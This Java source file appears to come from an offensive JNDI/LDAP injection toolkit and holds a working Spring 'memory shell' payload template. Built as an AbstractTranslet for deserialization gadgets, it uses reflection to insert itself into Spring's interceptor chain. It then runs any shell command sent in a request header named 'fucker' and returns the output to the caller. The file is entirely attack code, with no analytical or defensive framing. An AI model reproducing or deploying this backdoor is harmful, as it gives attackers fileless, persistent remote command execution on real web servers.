content: package com.feihong.ldap.template;
  
  import com.sun.org.apache.xalan.internal.xsltc.DOM;
  import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  import org.springframework.web.context.WebApplicationContext;
  import org.springframework.web.context.request.RequestContextHolder;
  import org.springframework.web.servlet.HandlerInterceptor;
  import org.springframework.web.servlet.ModelAndView;
  import org.springframework.web.servlet.handler.AbstractHandlerMapping;
  import sun.misc.BASE64Decoder;
  
  import javax.servlet.http.HttpServletRequest;
  import javax.servlet.http.HttpServletResponse;
  import java.lang.reflect.Field;
  import java.lang.reflect.Method;
  import java.util.ArrayList;
  import java.util.LinkedHashSet;
  
  public class SpringMemshellTemplate2 extends AbstractTranslet  implements HandlerInterceptor {
      public SpringMemshellTemplate2() throws Exception{
          System.out.println("SpringMemshellTemplate2");
          WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
          AbstractHandlerMapping abstractHandlerMapping = context.getBean(AbstractHandlerMapping.class);
          Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
          field.setAccessible(true);
          java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
          SpringMemshellTemplate2 memoryInterceptor = new SpringMemshellTemplate2("aaa");
          adaptedInterceptors.add(memoryInterceptor);
      }
  
      public SpringMemshellTemplate2(String test){
  
      }
      public static void doInject() throws NoSuchFieldException, IllegalAccessException {
          WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
          AbstractHandlerMapping abstractHandlerMapping = context.getBean(AbstractHandlerMapping.class);
          Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
          field.setAccessible(true);
          java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
          SpringMemshellTemplate2 memoryInterceptor = new SpringMemshellTemplate2("aaa");
          adaptedInterceptors.add(memoryInterceptor);
      }
      @Override
      public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  
      }
  
      @Override
      public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
  
      }
  
      @Override
      public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
          String command = request.getHeader("fucker");
          if(command != null){
              try {
                  java.io.PrintWriter writer = response.getWriter();
                  String o = "";
                  ProcessBuilder p;
                  if(System.getProperty("os.name").toLowerCase().contains("win")){
                      p = new ProcessBuilder(new String[]{"cmd.exe", "/c", command});
                  }else{
                      p = new ProcessBuilder(new String[]{"/bin/sh", "-c", command});
                  }
                  java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                  o = c.hasNext() ? c.next(): o;
                  c.close();
                  writer.write(o);
                  writer.flush();
                  writer.close();
              }catch (Exception e){
                  return false;
              }
              return false;
          }
          return true;
      }
  
      @Override
      public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
  
      }
  
      @Override
      public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
  
      }
  
      public static void main(String[] args) {
  
      }
  }
  